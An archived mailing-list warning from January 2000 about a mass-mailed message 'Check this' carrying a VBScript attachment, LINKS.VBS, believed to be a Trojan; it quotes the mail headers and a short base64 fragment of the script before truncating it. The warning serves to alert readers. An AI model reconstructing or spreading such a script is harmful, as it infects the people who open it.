WARNING! (Re: Check this)

Hello,

I have received a mail with the subject "Check this" and containing
"LINKS.VBS" which seems to be a Trojan or something similar. Don't start it
if you receive it too.

On Mon, Jan 24, 2000 at 12:27:48PM -0700, Jim Hargrave wrote:
> Have fun with these links.
> Bye.

Here is the beginning of the message:

From www-international-request@w3.org Mon Jan 24 20:25:12 2000
Return-path: <www-international-request@w3.org>
Envelope-to: ut13@rz.uni-karlsruhe.de
Delivery-date: Mon, 24 Jan 2000 20:25:12 +0100
Received: from www19.w3.org (www19.w3.org [18.29.0.19])
	by mailhost.rz.uni-karlsruhe.de with esmtp (Exim 3.02 #1)
	id 12Cp6t-0003a0-00; Mon, 24 Jan 2000 20:25:11 +0100
Received: (from daemon@localhost)
	by www19.w3.org (8.9.0/8.9.0) id OAA10332;
	Mon, 24 Jan 2000 14:23:58 -0500 (EST)
Resent-Date: Mon, 24 Jan 2000 14:23:58 -0500 (EST)
Resent-Message-Id: <200001241923.OAA10332@www19.w3.org>
Reply-To: <jhargrave@globalsight.com>
From: "Jim Hargrave" <jhargrave@globalsight.com>
To: <jhargrave@globalsight.com>
Date: Mon, 24 Jan 2000 12:27:48 -0700
Message-ID: <002801bf66a1$18cb2ec0$0100005a@jacob>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
X-MIMETrack: Itemize by SMTP Server on NotesDev/GSC(Release 5.0.1|July 16, 1999) at 01/24/2000
 11:24:46 AM,
	Serialize by Router on NotesDev/GSC(Release 5.0.1|July 16, 1999) at 01/24/2000
 11:25:07 AM
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0025_01BF6666.6C6C56C0"
Subject: Check this
Resent-From: www-international@w3.org
X-Mailing-List: <www-international@w3.org> archive/latest/1457
X-Loop: www-international@w3.org
Sender: www-international-request@w3.org
Resent-Sender: www-international-request@w3.org
Precedence: list
Resent-Bcc:
Status: RO
Content-Length: 16674
Lines: 230


------=_NextPart_000_0025_01BF6666.6C6C56C0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset="iso-8859-1"

Have fun with these links.
Bye.
------=_NextPart_000_0025_01BF6666.6C6C56C0
Content-Type: application/octet-stream;
	name="LINKS.VBS"
Content-Disposition: attachment;
	filename="LINKS.VBS"
Content-Transfer-Encoding: base64

T24gRXJyb3IgUmVzdW1lIE5leHQKU2V0IEExID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmls
ZVN5c3RlbU9iamVjdCIpClNldCBBMiA9IEExLk9wZW5UZXh0RmlsZShXU2NyaXB0LlNjcmlwdEZ1
bGxOYW1lLDEpCkRvIFdoaWxlIEEyLkF0RW5kT2ZTdHJlYW0gPSBGYWxzZSBBbmQgTWlkKEEzLDQw
[...]

Received on Monday, 24 January 2000 14:36:32 UTC